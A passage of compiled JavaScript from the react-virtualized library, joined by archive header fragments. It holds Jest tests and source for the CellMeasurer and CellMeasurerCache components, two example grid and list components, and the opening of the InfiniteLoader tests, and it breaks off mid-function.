  it('componentDidUpdate() should not measure content that is already in the cache', function () {
    var cache = new CellMeasurerCache({
      fixedWidth: true
    });
    cache.set(0, 0, 100, 20);
    var parent = createParent({
      cache: cache
    });
    expect(cache.has(0, 0)).toBe(true);

    var _mockClientWidthAndHe4 = mockClientWidthAndHeight({
      height: 20,
      width: 100
    }),
        heightFn = _mockClientWidthAndHe4.heightFn,
        widthFn = _mockClientWidthAndHe4.widthFn;

    renderHelper({
      cache: cache,
      parent: parent
    });
    renderHelper({
      cache: cache,
      parent: parent
    });
    expect(parent.invalidateCellSizeAfterRender).not.toHaveBeenCalled();
    expect(heightFn).toHaveBeenCalledTimes(0);
    expect(widthFn).toHaveBeenCalledTimes(0);
  });
  it('registerChild() should measure content that is not already in the cache', function () {
    var cache = new CellMeasurerCache({
      fixedWidth: true
    });
    var parent = createParent({
      cache: cache
    });
    var element = document.createElement('div');

    var _mockClientWidthAndHe5 = mockClientWidthAndHeight({
      height: 20,
      width: 100
    }, element),
        heightFn = _mockClientWidthAndHe5.heightFn,
        widthFn = _mockClientWidthAndHe5.widthFn;

    expect(heightFn).toHaveBeenCalledTimes(0);
    expect(widthFn).toHaveBeenCalledTimes(0);
    expect(cache.has(0, 0)).toBe(false);
    renderHelper({
      cache: cache,
      parent: parent,
      children: function children(_ref4) {
        var registerChild = _ref4.registerChild;
        registerChild(element);
        return null;
      }
    });
    expect(parent.invalidateCellSizeAfterRender).toHaveBeenCalled();
    expect(heightFn).toHaveBeenCalledTimes(1);
    expect(widthFn).toHaveBeenCalledTimes(1);
    expect(cache.has(0, 0)).toBe(true);
    expect(cache.getWidth(0, 0)).toBe(100);
    expect(cache.getHeight(0, 0)).toBe(20);
  });
  it('registerChild() should not measure content that is already in the cache', function () {
    var cache = new CellMeasurerCache({
      fixedWidth: true
    });
    cache.set(0, 0, 100, 20);
    var parent = createParent({
      cache: cache
    });
    var element = document.createElement('div');

    var _mockClientWidthAndHe6 = mockClientWidthAndHeight({
      height: 20,
      width: 100
    }, element),
        heightFn = _mockClientWidthAndHe6.heightFn,
        widthFn = _mockClientWidthAndHe6.widthFn;

    expect(cache.has(0, 0)).toBe(true);
    renderHelper({
      cache: cache,
      parent: parent,
      children: function children(_ref5) {
        var registerChild = _ref5.registerChild;
        registerChild(element);
        return null;
      }
    });
    expect(parent.invalidateCellSizeAfterRender).not.toHaveBeenCalled();
    expect(heightFn).toHaveBeenCalledTimes(0);
    expect(widthFn).toHaveBeenCalledTimes(0);
  });
  it('should pass a :measure param to a function child', function () {
    var cache = new CellMeasurerCache({
      fixedWidth: true
    });
    var children = jest.fn().mockReturnValue(React.createElement("div", null));
    renderHelper({
      cache: cache,
      children: children
    });
    expect(children).toHaveBeenCalled();
    var params = children.mock.calls[0][0];
    expect(typeof params.measure === 'function').toBe(true);
  });
  it('should still update cache without a parent Grid', function () {
    jest.spyOn(console, 'warn');
    mockClientWidthAndHeight({
      height: 20,
      width: 100
    });
    var cache = new CellMeasurerCache({
      fixedWidth: true
    });
    renderHelper({
      cache: cache
    }); // No parent Grid

    expect(cache.has(0, 0)).toBe(true);
    expect(console.warn).not.toHaveBeenCalled();
  }); // See issue #593

  it('should explicitly set width/height style to "auto" before re-measuring', function () {
    var cache = new CellMeasurerCache({
      fixedWidth: true
    });
    var parent = createParent({
      cache: cache
    });
    var child = jest.fn().mockReturnValue(React.createElement("div", {
      style: {
        width: 100,
        height: 30
      }
    }));
    var measurer;
    var node = findDOMNode(render(React.createElement(CellMeasurer, {
      ref: function ref(_ref6) {
        measurer = _ref6;
      },
      cache: cache,
      columnIndex: 0,
      parent: parent,
      rowIndex: 0,
      style: {}
    }, child)));
    var styleHeights = [30];
    var styleWidths = [100];
    Object.defineProperties(node.style, {
      height: {
        get: function get() {
          return styleHeights[styleHeights.length - 1];
        },
        set: function set(value) {
          return styleHeights.push(value);
        }
      },
      width: {
        get: function get() {
          return styleWidths[styleWidths.length - 1];
        },
        set: function set(value) {
          return styleWidths.push(value);
        }
      }
    });

    var _measurer$_getCellMea = measurer._getCellMeasurements(node),
        height = _measurer$_getCellMea.height,
        width = _measurer$_getCellMea.width;

    expect(height).toBeGreaterThan(0);
    expect(width).toBeGreaterThan(0);
    expect(styleHeights).toEqual([30, 'auto', 30]);
    expect(styleWidths).toEqual([100, 100]);
  }); // See issue #660

  it('should reset width/height style values after measuring with style "auto"', function () {
    var cache = new CellMeasurerCache({
      fixedHeight: true
    });
    var parent = createParent({
      cache: cache
    });
    var child = jest.fn().mockReturnValue(React.createElement("div", {
      style: {
        width: 100,
        height: 30
      }
    }));
    var node = findDOMNode(render(React.createElement(CellMeasurer, {
      cache: cache,
      columnIndex: 0,
      parent: parent,
      rowIndex: 0,
      style: {}
    }, child)));
    node.style.width = 200;
    node.style.height = 60;
    child.mock.calls[0][0].measure();
    expect(node.style.height).toBe('30px');
    expect(node.style.width).toBe('100px');
  });
});es/CellMeasurer/CellMeasurer.js000064400000016251151677406000012472 0ustar00import _classCallCheck from "@babel/runtime/helpers/classCallCheck";
import _createClass from "@babel/runtime/helpers/createClass";
import _possibleConstructorReturn from "@babel/runtime/helpers/possibleConstructorReturn";
import _getPrototypeOf from "@babel/runtime/helpers/getPrototypeOf";
import _assertThisInitialized from "@babel/runtime/helpers/assertThisInitialized";
import _inherits from "@babel/runtime/helpers/inherits";
import _defineProperty from "@babel/runtime/helpers/defineProperty";

var _class, _temp;

import * as React from 'react';
import { findDOMNode } from 'react-dom';

/**
 * Wraps a cell and measures its rendered content.
 * Measurements are stored in a per-cell cache.
 * Cached-content is not be re-measured.
 */
var CellMeasurer = (_temp = _class =
/*#__PURE__*/
function (_React$PureComponent) {
  _inherits(CellMeasurer, _React$PureComponent);

  function CellMeasurer() {
    var _getPrototypeOf2;

    var _this;

    _classCallCheck(this, CellMeasurer);

    for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
      args[_key] = arguments[_key];
    }

    _this = _possibleConstructorReturn(this, (_getPrototypeOf2 = _getPrototypeOf(CellMeasurer)).call.apply(_getPrototypeOf2, [this].concat(args)));

    _defineProperty(_assertThisInitialized(_this), "_child", void 0);

    _defineProperty(_assertThisInitialized(_this), "_measure", function () {
      var _this$props = _this.props,
          cache = _this$props.cache,
          _this$props$columnInd = _this$props.columnIndex,
          columnIndex = _this$props$columnInd === void 0 ? 0 : _this$props$columnInd,
          parent = _this$props.parent,
          _this$props$rowIndex = _this$props.rowIndex,
          rowIndex = _this$props$rowIndex === void 0 ? _this.props.index || 0 : _this$props$rowIndex;

      var _this$_getCellMeasure = _this._getCellMeasurements(),
          height = _this$_getCellMeasure.height,
          width = _this$_getCellMeasure.width;

      if (height !== cache.getHeight(rowIndex, columnIndex) || width !== cache.getWidth(rowIndex, columnIndex)) {
        cache.set(rowIndex, columnIndex, width, height);

        if (parent && typeof parent.recomputeGridSize === 'function') {
          parent.recomputeGridSize({
            columnIndex: columnIndex,
            rowIndex: rowIndex
          });
        }
      }
    });

    _defineProperty(_assertThisInitialized(_this), "_registerChild", function (element) {
      if (element && !(element instanceof Element)) {
        console.warn('CellMeasurer registerChild expects to be passed Element or null');
      }

      _this._child = element;

      if (element) {
        _this._maybeMeasureCell();
      }
    });

    return _this;
  }

  _createClass(CellMeasurer, [{
    key: "componentDidMount",
    value: function componentDidMount() {
      this._maybeMeasureCell();
    }
  }, {
    key: "componentDidUpdate",
    value: function componentDidUpdate() {
      this._maybeMeasureCell();
    }
  }, {
    key: "render",
    value: function render() {
      var children = this.props.children;
      return typeof children === 'function' ? children({
        measure: this._measure,
        registerChild: this._registerChild
      }) : children;
    }
  }, {
    key: "_getCellMeasurements",
    value: function _getCellMeasurements() {
      var cache = this.props.cache;
      var node = this._child || findDOMNode(this); // TODO Check for a bad combination of fixedWidth and missing numeric width or vice versa with height

      if (node && node.ownerDocument && node.ownerDocument.defaultView && node instanceof node.ownerDocument.defaultView.HTMLElement) {
        var styleWidth = node.style.width;
        var styleHeight = node.style.height; // If we are re-measuring a cell that has already been measured,
        // It will have a hard-coded width/height from the previous measurement.
        // The fact that we are measuring indicates this measurement is probably stale,
        // So explicitly clear it out (eg set to "auto") so we can recalculate.
        // See issue #593 for more info.
        // Even if we are measuring initially- if we're inside of a MultiGrid component,
        // Explicitly clear width/height before measuring to avoid being tainted by another Grid.
        // eg top/left Grid renders before bottom/right Grid
        // Since the CellMeasurerCache is shared between them this taints derived cell size values.

        if (!cache.hasFixedWidth()) {
          node.style.width = 'auto';
        }

        if (!cache.hasFixedHeight()) {
          node.style.height = 'auto';
        }

        var height = Math.ceil(node.offsetHeight);
        var width = Math.ceil(node.offsetWidth); // Reset after measuring to avoid breaking styles; see #660

        if (styleWidth) {
          node.style.width = styleWidth;
        }

        if (styleHeight) {
          node.style.height = styleHeight;
        }

        return {
          height: height,
          width: width
        };
      } else {
        return {
          height: 0,
          width: 0
        };
      }
    }
  }, {
    key: "_maybeMeasureCell",
    value: function _maybeMeasureCell() {
      var _this$props2 = this.props,
          cache = _this$props2.cache,
          _this$props2$columnIn = _this$props2.columnIndex,
          columnIndex = _this$props2$columnIn === void 0 ? 0 : _this$props2$columnIn,
          parent = _this$props2.parent,
          _this$props2$rowIndex = _this$props2.rowIndex,
          rowIndex = _this$props2$rowIndex === void 0 ? this.props.index || 0 : _this$props2$rowIndex;

      if (!cache.has(rowIndex, columnIndex)) {
        var _this$_getCellMeasure2 = this._getCellMeasurements(),
            height = _this$_getCellMeasure2.height,
            width = _this$_getCellMeasure2.width;

        cache.set(rowIndex, columnIndex, width, height); // If size has changed, let Grid know to re-render.

        if (parent && typeof parent.invalidateCellSizeAfterRender === 'function') {
          parent.invalidateCellSizeAfterRender({
            columnIndex: columnIndex,
            rowIndex: rowIndex
          });
        }
      }
    }
  }]);

  return CellMeasurer;
}(React.PureComponent), _defineProperty(_class, "propTypes", process.env.NODE_ENV === 'production' ? null : {
  "cache": function cache() {
    return (typeof bpfrpt_proptype_CellMeasureCache === "function" ? bpfrpt_proptype_CellMeasureCache.isRequired ? bpfrpt_proptype_CellMeasureCache.isRequired : bpfrpt_proptype_CellMeasureCache : PropTypes.shape(bpfrpt_proptype_CellMeasureCache).isRequired).apply(this, arguments);
  },
  "children": PropTypes.oneOfType([PropTypes.func, PropTypes.node]).isRequired,
  "columnIndex": PropTypes.number,
  "index": PropTypes.number,
  "parent": PropTypes.shape({
    invalidateCellSizeAfterRender: PropTypes.func,
    recomputeGridSize: PropTypes.func
  }).isRequired,
  "rowIndex": PropTypes.number
}), _temp); // Used for DEV mode warning check

_defineProperty(CellMeasurer, "__internalCellMeasurerFlag", false);

export { CellMeasurer as default };

if (process.env.NODE_ENV !== 'production') {
  CellMeasurer.__internalCellMeasurerFlag = true;
}

import { bpfrpt_proptype_CellMeasureCache } from "./types";
import PropTypes from "prop-types";es/CellMeasurer/CellMeasurer.DynamicWidthGrid.example.js000064400000010067151677406000017314 0ustar00import _defineProperty from "@babel/runtime/helpers/defineProperty";
import _classCallCheck from "@babel/runtime/helpers/classCallCheck";
import _createClass from "@babel/runtime/helpers/createClass";
import _possibleConstructorReturn from "@babel/runtime/helpers/possibleConstructorReturn";
import _getPrototypeOf from "@babel/runtime/helpers/getPrototypeOf";
import _assertThisInitialized from "@babel/runtime/helpers/assertThisInitialized";
import _inherits from "@babel/runtime/helpers/inherits";

function ownKeys(object, enumerableOnly) { var keys = Object.keys(object); if (Object.getOwnPropertySymbols) { var symbols = Object.getOwnPropertySymbols(object); if (enumerableOnly) symbols = symbols.filter(function (sym) { return Object.getOwnPropertyDescriptor(object, sym).enumerable; }); keys.push.apply(keys, symbols); } return keys; }

function _objectSpread(target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] != null ? arguments[i] : {}; if (i % 2) { ownKeys(source, true).forEach(function (key) { _defineProperty(target, key, source[key]); }); } else if (Object.getOwnPropertyDescriptors) { Object.defineProperties(target, Object.getOwnPropertyDescriptors(source)); } else { ownKeys(source).forEach(function (key) { Object.defineProperty(target, key, Object.getOwnPropertyDescriptor(source, key)); }); } } return target; }

import Immutable from 'immutable';
import PropTypes from 'prop-types';
import * as React from 'react';
import CellMeasurer from './CellMeasurer';
import CellMeasurerCache from './CellMeasurerCache';
import Grid from '../Grid';
import styles from './CellMeasurer.example.css';

var DynamicWidthGrid =
/*#__PURE__*/
function (_React$PureComponent) {
  _inherits(DynamicWidthGrid, _React$PureComponent);

  function DynamicWidthGrid(props, context) {
    var _this;

    _classCallCheck(this, DynamicWidthGrid);

    _this = _possibleConstructorReturn(this, _getPrototypeOf(DynamicWidthGrid).call(this, props, context));
    _this._cache = new CellMeasurerCache({
      defaultWidth: 100,
      fixedHeight: true
    });
    _this._cellRenderer = _this._cellRenderer.bind(_assertThisInitialized(_this));
    return _this;
  }

  _createClass(DynamicWidthGrid, [{
    key: "render",
    value: function render() {
      var width = this.props.width;
      return React.createElement(Grid, {
        className: styles.BodyGrid,
        columnCount: 1000,
        columnWidth: this._cache.columnWidth,
        deferredMeasurementCache: this._cache,
        height: 400,
        overscanColumnCount: 0,
        overscanRowCount: 2,
        cellRenderer: this._cellRenderer,
        rowCount: 50,
        rowHeight: 35,
        width: width
      });
    }
  }, {
    key: "_cellRenderer",
    value: function _cellRenderer(_ref) {
      var columnIndex = _ref.columnIndex,
          key = _ref.key,
          parent = _ref.parent,
          rowIndex = _ref.rowIndex,
          style = _ref.style;
      var _this$props = this.props,
          getClassName = _this$props.getClassName,
          getContent = _this$props.getContent,
          list = _this$props.list;
      var datum = list.get((rowIndex + columnIndex) % list.size);
      var classNames = getClassName({
        columnIndex: columnIndex,
        rowIndex: rowIndex
      });
      var content = getContent({
        index: columnIndex,
        datum: datum,
        "long": false
      });
      return React.createElement(CellMeasurer, {
        cache: this._cache,
        columnIndex: columnIndex,
        key: key,
        parent: parent,
        rowIndex: rowIndex
      }, React.createElement("div", {
        className: classNames,
        style: _objectSpread({}, style, {
          height: 35,
          whiteSpace: 'nowrap'
        })
      }, content));
    }
  }]);

  return DynamicWidthGrid;
}(React.PureComponent);

export { DynamicWidthGrid as default };
DynamicWidthGrid.propTypes = process.env.NODE_ENV !== "production" ? {
  getClassName: PropTypes.func.isRequired,
  getContent: PropTypes.func.isRequired,
  list: PropTypes.instanceOf(Immutable.List).isRequired,
  width: PropTypes.number.isRequired
} : {};es/CellMeasurer/CellMeasurer.DynamicHeightList.example.js000064400000006243151677406000017474 0ustar00import _classCallCheck from "@babel/runtime/helpers/classCallCheck";
import _createClass from "@babel/runtime/helpers/createClass";
import _possibleConstructorReturn from "@babel/runtime/helpers/possibleConstructorReturn";
import _getPrototypeOf from "@babel/runtime/helpers/getPrototypeOf";
import _assertThisInitialized from "@babel/runtime/helpers/assertThisInitialized";
import _inherits from "@babel/runtime/helpers/inherits";
import Immutable from 'immutable';
import PropTypes from 'prop-types';
import * as React from 'react';
import CellMeasurer from './CellMeasurer';
import CellMeasurerCache from './CellMeasurerCache';
import List from '../List';
import styles from './CellMeasurer.example.css';

var DynamicHeightList =
/*#__PURE__*/
function (_React$PureComponent) {
  _inherits(DynamicHeightList, _React$PureComponent);

  function DynamicHeightList(props, context) {
    var _this;

    _classCallCheck(this, DynamicHeightList);

    _this = _possibleConstructorReturn(this, _getPrototypeOf(DynamicHeightList).call(this, props, context));
    _this._cache = new CellMeasurerCache({
      fixedWidth: true,
      minHeight: 50
    });
    _this._rowRenderer = _this._rowRenderer.bind(_assertThisInitialized(_this));
    return _this;
  }

  _createClass(DynamicHeightList, [{
    key: "render",
    value: function render() {
      var width = this.props.width;
      return React.createElement(List, {
        className: styles.BodyGrid,
        deferredMeasurementCache: this._cache,
        height: 400,
        overscanRowCount: 0,
        rowCount: 1000,
        rowHeight: this._cache.rowHeight,
        rowRenderer: this._rowRenderer,
        width: width
      });
    }
  }, {
    key: "_rowRenderer",
    value: function _rowRenderer(_ref) {
      var index = _ref.index,
          key = _ref.key,
          parent = _ref.parent,
          style = _ref.style;
      var _this$props = this.props,
          getClassName = _this$props.getClassName,
          list = _this$props.list;
      var datum = list.get(index % list.size);
      var classNames = getClassName({
        columnIndex: 0,
        rowIndex: index
      });
      var imageWidth = 300;
      var imageHeight = datum.size * (1 + index % 3);
      var source = "https://www.fillmurray.com/".concat(imageWidth, "/").concat(imageHeight);
      return React.createElement(CellMeasurer, {
        cache: this._cache,
        columnIndex: 0,
        key: key,
        rowIndex: index,
        parent: parent
      }, function (_ref2) {
        var measure = _ref2.measure,
            registerChild = _ref2.registerChild;
        return React.createElement("div", {
          ref: registerChild,
          className: classNames,
          style: style
        }, React.createElement("img", {
          onLoad: measure,
          src: source,
          style: {
            width: imageWidth
          }
        }));
      });
    }
  }]);

  return DynamicHeightList;
}(React.PureComponent);

export { DynamicHeightList as default };
DynamicHeightList.propTypes = process.env.NODE_ENV !== "production" ? {
  getClassName: PropTypes.func.isRequired,
  list: PropTypes.instanceOf(Immutable.List).isRequired,
  width: PropTypes.number.isRequired
} : {};es/CellMeasurer/CellMeasurerCache.jest.js000064400000021565151677406000014366 0ustar00import CellMeasurerCache, { DEFAULT_HEIGHT, DEFAULT_WIDTH } from './CellMeasurerCache';
describe('CellMeasurerCache', function () {
  it('should override defaultHeight/defaultWidth if minHeight/minWidth are greater', function () {
    var cache = new CellMeasurerCache({
      defaultHeight: 20,
      defaultWidth: 100,
      fixedHeight: true,
      fixedWidth: true,
      minHeight: 30,
      minWidth: 150
    });
    cache.set(0, 0, 50, 10);
    expect(cache.getHeight(0, 0)).toBe(30);
    expect(cache.getWidth(0, 0)).toBe(150);
    expect(cache.rowHeight({
      index: 0
    })).toBe(30);
    expect(cache.columnWidth({
      index: 0
    })).toBe(150);
  });
  it('should correctly report cache status', function () {
    var cache = new CellMeasurerCache({
      fixedHeight: true,
      fixedWidth: true
    });
    expect(cache.has(0, 0)).toBe(false);
  });
  it('should cache cells', function () {
    var cache = new CellMeasurerCache({
      fixedHeight: true,
      fixedWidth: true
    });
    cache.set(0, 0, 100, 20);
    expect(cache.has(0, 0)).toBe(true);
  });
  it('should return the correct default sizes for uncached cells if specified', function () {
    spyOn(console, 'warn'); // Ignore warning about variable width and height

    var cache = new CellMeasurerCache({
      defaultHeight: 20,
      defaultWidth: 100,
      minHeight: 15,
      minWidth: 80
    });
    expect(cache.getWidth(0, 0)).toBe(100);
    expect(cache.getHeight(0, 0)).toBe(20);
    cache.set(0, 0, 70, 10);
    expect(cache.getWidth(0, 0)).toBe(80);
    expect(cache.getHeight(0, 0)).toBe(15);
  });
  it('should clear a single cached cell', function () {
    var cache = new CellMeasurerCache({
      fixedHeight: true,
      fixedWidth: true
    });
    cache.set(0, 0, 100, 20);
    cache.set(1, 0, 100, 20);
    expect(cache.has(0, 0)).toBe(true);
    expect(cache.has(1, 0)).toBe(true);
    cache.clear(0, 0);
    expect(cache.has(0, 0)).toBe(false);
    expect(cache.has(1, 0)).toBe(true);
  });
  it('should clear a single cached row cell in column 0 when columnIndex param is absent', function () {
    var cache = new CellMeasurerCache({
      fixedHeight: true,
      fixedWidth: true
    });
    cache.set(0, 0, 100, 20);
    cache.set(1, 0, 100, 20);
    expect(cache.has(0, 0)).toBe(true);
    expect(cache.has(1, 0)).toBe(true);
    cache.clear(0);
    expect(cache.has(0, 0)).toBe(false);
    expect(cache.has(1, 0)).toBe(true);
  });
  it('should clear all cached cells', function () {
    var cache = new CellMeasurerCache({
      fixedHeight: true,
      fixedWidth: true
    });
    cache.set(0, 0, 100, 20);
    cache.set(1, 0, 100, 20);
    expect(cache.has(0, 0)).toBe(true);
    expect(cache.has(1, 0)).toBe(true);
    cache.clearAll();
    expect(cache.has(0, 0)).toBe(false);
    expect(cache.has(1, 0)).toBe(false);
  });
  it('should clear row and column counts when clearing all cells', function () {
    var cache = new CellMeasurerCache({
      fixedHeight: true,
      fixedWidth: true
    });
    cache.set(0, 0, 100, 20);
    cache.set(1, 0, 100, 20);
    expect(cache._rowCount).toBe(2);
    expect(cache._columnCount).toBe(1);
    cache.clearAll();
    expect(cache._rowCount).toBe(0);
    expect(cache._columnCount).toBe(0);
  });
  it('should support a custom :keyMapper', function () {
    var keyMapper = jest.fn();
    keyMapper.mockReturnValue('a');
    spyOn(console, 'warn'); // Ignore warning about variable width and height

    var cache = new CellMeasurerCache({
      defaultHeight: 30,
      defaultWidth: 50,
      keyMapper: keyMapper
    });
    cache.set(0, 0, 100, 20);
    expect(cache.has(0, 0)).toBe(true); // Changing the returned key should cause cache misses

    keyMapper.mockReset();
    keyMapper.mockReturnValue('b');
    expect(cache.has(0, 0)).toBe(false);
    expect(cache.columnWidth(0)).toBe(50);
    expect(cache.rowHeight(0)).toBe(30);
    expect(keyMapper.mock.calls).toHaveLength(3); // Restoring it should fix

    keyMapper.mockReset();
    keyMapper.mockReturnValue('a');
    expect(cache.has(0, 0)).toBe(true);
    expect(cache.columnWidth(0)).toBe(100);
    expect(cache.rowHeight(0)).toBe(20);
    expect(keyMapper.mock.calls).toHaveLength(3);
  });
  it('should provide a Grid-compatible :columnWidth method', function () {
    var cache = new CellMeasurerCache({
      fixedHeight: true
    });
    expect(cache.columnWidth({
      index: 0
    })).toBe(DEFAULT_WIDTH);
    cache.set(0, 0, 100, 50);
    expect(cache.columnWidth({
      index: 0
    })).toBe(100);
    expect(cache.columnWidth({
      index: 1
    })).toBe(DEFAULT_WIDTH);
    cache.set(1, 0, 75, 50);
    expect(cache.columnWidth({
      index: 0
    })).toBe(100);
    cache.set(2, 0, 125, 50);
    expect(cache.columnWidth({
      index: 0
    })).toBe(125);
  });
  it('should provide a Grid-compatible :rowHeight method', function () {
    var cache = new CellMeasurerCache({
      fixedWidth: true
    });
    expect(cache.rowHeight({
      index: 0
    })).toBe(DEFAULT_HEIGHT);
    cache.set(0, 0, 100, 50);
    expect(cache.rowHeight({
      index: 0
    })).toBe(50);
    expect(cache.rowHeight({
      index: 1
    })).toBe(DEFAULT_HEIGHT);
    cache.set(0, 1, 100, 25);
    expect(cache.rowHeight({
      index: 0
    })).toBe(50);
    cache.set(0, 2, 100, 75);
    expect(cache.rowHeight({
      index: 0
    })).toBe(75);
  });
  it('should return the :defaultWidth for :columnWidth if not measured', function () {
    var cache = new CellMeasurerCache({
      defaultWidth: 25,
      fixedHeight: true,
      fixedWidth: true
    });
    expect(cache.columnWidth({
      index: 0
    })).toBe(25);
  });
  it('should return the :defaultHeight for :rowHeight if not measured', function () {
    var cache = new CellMeasurerCache({
      defaultHeight: 25,
      fixedHeight: true,
      fixedWidth: true
    });
    expect(cache.rowHeight({
      index: 0
    })).toBe(25);
  });
  it('should recalculate cached :columnWidth when cells are cleared', function () {
    var cache = new CellMeasurerCache({
      fixedHeight: true
    });
    expect(cache.columnWidth({
      index: 0
    })).toBe(DEFAULT_WIDTH);
    cache.set(0, 0, 125, 50);
    expect(cache.columnWidth({
      index: 0
    })).toBe(125);
    cache.set(1, 0, 150, 50);
    expect(cache.columnWidth({
      index: 0
    })).toBe(150);
    cache.clear(1, 0);
    expect(cache.columnWidth({
      index: 0
    })).toBe(125);
    cache.clear(0, 0);
    expect(cache.columnWidth({
      index: 0
    })).toBe(DEFAULT_WIDTH);
    cache.set(0, 0, 125, 50);
    expect(cache.columnWidth({
      index: 0
    })).toBe(125);
    cache.clearAll();
    expect(cache.columnWidth({
      index: 0
    })).toBe(DEFAULT_WIDTH);
  });
  it('should recalculate cached :rowHeight when cells are cleared', function () {
    var cache = new CellMeasurerCache({
      fixedWidth: true
    });
    expect(cache.rowHeight({
      index: 0
    })).toBe(DEFAULT_HEIGHT);
    cache.set(0, 0, 125, 50);
    expect(cache.rowHeight({
      index: 0
    })).toBe(50);
    cache.set(0, 1, 150, 75);
    expect(cache.rowHeight({
      index: 0
    })).toBe(75);
    cache.clear(0, 1);
    expect(cache.rowHeight({
      index: 0
    })).toBe(50);
    cache.clear(0, 0);
    expect(cache.rowHeight({
      index: 0
    })).toBe(DEFAULT_HEIGHT);
    cache.set(0, 0, 125, 50);
    expect(cache.rowHeight({
      index: 0
    })).toBe(50);
    cache.clearAll();
    expect(cache.rowHeight({
      index: 0
    })).toBe(DEFAULT_HEIGHT);
  });
  describe('DEV mode', function () {
    it('should warn about dynamic width and height configurations', function () {
      spyOn(console, 'warn');
      var cache = new CellMeasurerCache({
        fixedHeight: false,
        fixedWidth: false
      });
      expect(cache.hasFixedHeight()).toBe(false);
      expect(cache.hasFixedWidth()).toBe(false);
      expect(console.warn).toHaveBeenCalledWith("CellMeasurerCache should only measure a cell's width or height. " + 'You have configured CellMeasurerCache to measure both. ' + 'This will result in poor performance.');
    });
    it('should warn about dynamic width with a defaultWidth of 0', function () {
      spyOn(console, 'warn');
      var cache = new CellMeasurerCache({
        defaultWidth: 0,
        fixedHeight: true
      });
      expect(cache.getWidth(0, 0)).toBe(0);
      expect(console.warn).toHaveBeenCalledWith('Fixed width CellMeasurerCache should specify a :defaultWidth greater than 0. ' + 'Failing to do so will lead to unnecessary layout and poor performance.');
    });
    it('should warn about dynamic height with a defaultHeight of 0', function () {
      spyOn(console, 'warn');
      var cache = new CellMeasurerCache({
        defaultHeight: 0,
        fixedWidth: true
      });
      expect(cache.getHeight(0, 0)).toBe(0);
      expect(console.warn).toHaveBeenCalledWith('Fixed height CellMeasurerCache should specify a :defaultHeight greater than 0. ' + 'Failing to do so will lead to unnecessary layout and poor performance.');
    });
  });
});es/InfiniteLoader/InfiniteLoader.jest.js000064400000044107151677406000014261 0ustar00import _classCallCheck from "@babel/runtime/helpers/classCallCheck";
import _createClass from "@babel/runtime/helpers/createClass";
import _possibleConstructorReturn from "@babel/runtime/helpers/possibleConstructorReturn";
import _getPrototypeOf from "@babel/runtime/helpers/getPrototypeOf";
import _assertThisInitialized from "@babel/runtime/helpers/assertThisInitialized";
import _inherits from "@babel/runtime/helpers/inherits";
import _defineProperty from "@babel/runtime/helpers/defineProperty";
import _regeneratorRuntime from "@babel/runtime/regenerator";
import InfiniteLoader, { forceUpdateReactVirtualizedComponent, isRangeVisible, scanForUnloadedRanges } from './InfiniteLoader';
import * as React from 'react';
import List from '../List';
import { render } from '../TestUtils';
describe('InfiniteLoader', function () {
  var innerOnRowsRendered;
  var isRowLoadedCalls = [];
  var isRowLoadedMap = {};
  var loadMoreRowsCalls = [];
  var rowRendererCalls = [];
  beforeEach(function () {
    isRowLoadedCalls = [];
    isRowLoadedMap = {};
    loadMoreRowsCalls = [];
    rowRendererCalls = [];
  });

  function defaultIsRowLoaded(_ref) {
    var index = _ref.index;
    isRowLoadedCalls.push(index);
    return !!isRowLoadedMap[index];
  }

  function defaultLoadMoreRows(_ref2) {
    var startIndex = _ref2.startIndex,
        stopIndex = _ref2.stopIndex;
    loadMoreRowsCalls.push({
      startIndex: startIndex,
      stopIndex: stopIndex
    });
  }

  function rowRenderer(_ref3) {
    var index = _ref3.index,
        key = _ref3.key,
        style = _ref3.style;
    rowRendererCalls.push(index);
    return React.createElement("div", {
      key: key,
      style: style
    });
  }

  function getMarkup() {
    var _ref4 = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {},
        _ref4$height = _ref4.height,
        height = _ref4$height === void 0 ? 100 : _ref4$height,
        _ref4$isRowLoaded = _ref4.isRowLoaded,
        isRowLoaded = _ref4$isRowLoaded === void 0 ? defaultIsRowLoaded : _ref4$isRowLoaded,
        _ref4$loadMoreRows = _ref4.loadMoreRows,
        loadMoreRows = _ref4$loadMoreRows === void 0 ? defaultLoadMoreRows : _ref4$loadMoreRows,
        _ref4$minimumBatchSiz = _ref4.minimumBatchSize,
        minimumBatchSize = _ref4$minimumBatchSiz === void 0 ? 1 : _ref4$minimumBatchSiz,
        _ref4$rowHeight = _ref4.rowHeight,
        rowHeight = _ref4$rowHeight === void 0 ? 20 : _ref4$rowHeight,
        _ref4$rowCount = _ref4.rowCount,
        rowCount = _ref4$rowCount === void 0 ? 100 : _ref4$rowCount,
        scrollToIndex = _ref4.scrollToIndex,
        _ref4$threshold = _ref4.threshold,
        threshold = _ref4$threshold === void 0 ? 10 : _ref4$threshold,
        _ref4$width = _ref4.width,
        width = _ref4$width === void 0 ? 200 : _ref4$width;

    return React.createElement(InfiniteLoader, {
      isRowLoaded: isRowLoaded,
      loadMoreRows: loadMoreRows,
      minimumBatchSize: minimumBatchSize,
      rowCount: rowCount,
      threshold: threshold
    }, function (_ref5) {
      var onRowsRendered = _ref5.onRowsRendered,
          registerChild = _ref5.registerChild;
      innerOnRowsRendered = onRowsRendered;
      return React.createElement(List, {
        ref: registerChild,
        height: height,
        onRowsRendered: onRowsRendered,
        rowHeight: rowHeight,
        rowRenderer: rowRenderer,
        rowCount: rowCount,
        scrollToIndex: scrollToIndex,
        width: width
      });
    });
  }

  it('should call :isRowLoaded for all rows within the threshold each time a range of rows are rendered', function () {
    render(getMarkup());
    expect(isRowLoadedCalls).toEqual([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14]);
  });
  it('should call :isRowLoaded for all rows within the rowCount each time a range of rows are rendered', function () {
    render(getMarkup({
      rowCount: 10
    }));
    expect(isRowLoadedCalls).toEqual([0, 1, 2, 3, 4, 5, 6, 7, 8, 9]);
  });
  it('should call :loadMoreRows for unloaded rows within the threshold', function () {
    render(getMarkup());
    expect(loadMoreRowsCalls).toEqual([{
      startIndex: 0,
      stopIndex: 14
    }]);
  });
  it('should call :loadMoreRows for unloaded rows within the rowCount', function () {
    render(getMarkup({
      rowCount: 10
    }));
    expect(loadMoreRowsCalls).toEqual([{
      startIndex: 0,
      stopIndex: 9
    }]);
  });
  it('should :forceUpdate once rows have loaded if :loadMoreRows returns a Promise', function _callee(done) {
    var savedResolve, loadMoreRows;
    return _regeneratorRuntime.async(function _callee$(_context) {
      while (1) {
